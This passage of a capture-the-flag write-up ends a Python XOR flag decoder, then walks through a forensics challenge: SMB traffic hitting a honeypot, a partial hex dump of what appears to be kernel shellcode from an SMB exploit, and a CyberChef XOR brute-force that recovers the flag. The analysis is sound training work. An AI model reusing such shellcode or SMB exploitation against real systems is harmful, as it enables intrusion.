    0x5A53010106040309,
    0x5C585354500A5B00,
    0x555157570108520D,
    0x5707530453040752,
]

s2_bytes = b"".join(p64(chunk) for chunk in chunks)
key = b"875e9409f9811ba8560beee6fb0c77d2"
password = xor(s2_bytes, key)

print(f"247CTF{{{password.decode()}}}")

Flag

We have a honey pot running on one of our internal networks. We received an alert today that the machine was compromised, but we can’t figure out what the attacker did. Can you find the flag hidden in the attacker’s payload?

我们在内部网络中运行了一个蜜罐。今天我们收到警报，显示该机器已被入侵，但我们无法确定攻击者做了什么。你能找到隐藏在攻击者有效载荷中的 flag 吗？

Network Traffic

The provided logs show SMB (Server Message Block) traffic on port 445 (microsoft_ds). The sequence of SMBNegotiate_Request and SMB2_Negotiate_Protocol_Request suggests an attempt to exploit an SMB vulnerability.

1
2
3
4

0001 Ether / IP / TCP 192.168.10.168:microsoft_ds > 10.0.5.15:42799 SA / Padding
0003 Ether / IP / TCP 10.0.5.15:42799 > 192.168.10.168:microsoft_ds PA / NBTSession / SMB_Header / SMBNegotiate_Request
...
0203 Ether / IP / TCP 10.0.5.15:43947 > 192.168.10.168:microsoft_ds PA / NBTSession / SMB2_Header / SMB2_Negotiate_Protocol_Request / Raw

Payload Extraction

Following the TCP stream and exporting the raw data with Wireshark, we get the following hex dump:

1
2
3
4
5
6
7
8
9
10

❯ xxd a.raw
...
00000270: 0031 c941 e201 c3b9 8200 00c0 0f32 48bb  .1.A........2H..
00000280: f80f d0ff ffff ffff 8953 0489 0348 8d05  .........S...H..
00000290: 0a00 0000 4889 c248 c1ea 200f 30c3 0f01  ....H..H.. .0...
000002a0: f865 4889 2425 1000 0000 6548 8b24 25a8  .eH.$%....eH.$%.
...
000007c0: 4d55 9dce ebc1 2620 2357 4052 6f23 7627  MU....& #W@Ro#v'
000007d0: 2226 2277 7027 2122 232c 2075 2523 752d  "&"wp'!"#, u%#u-
...

The challenge name “Commutative Payload” hints at a commutative operation like XOR used for obfuscation.

Solution

1. Extract Data: Save the raw payload from the Wireshark TCP stream.
2. CyberChef Analysis:
   • Use the XOR Brute Force operation.
   • Sample length: 10000.
   • Crib: 247CTF (knowing the flag format).
3. Identification: When testing a key length of 2, the key 14 14 (effectively a 1-byte XOR with 0x14) decrypts the payload to reveal the flag.

Flag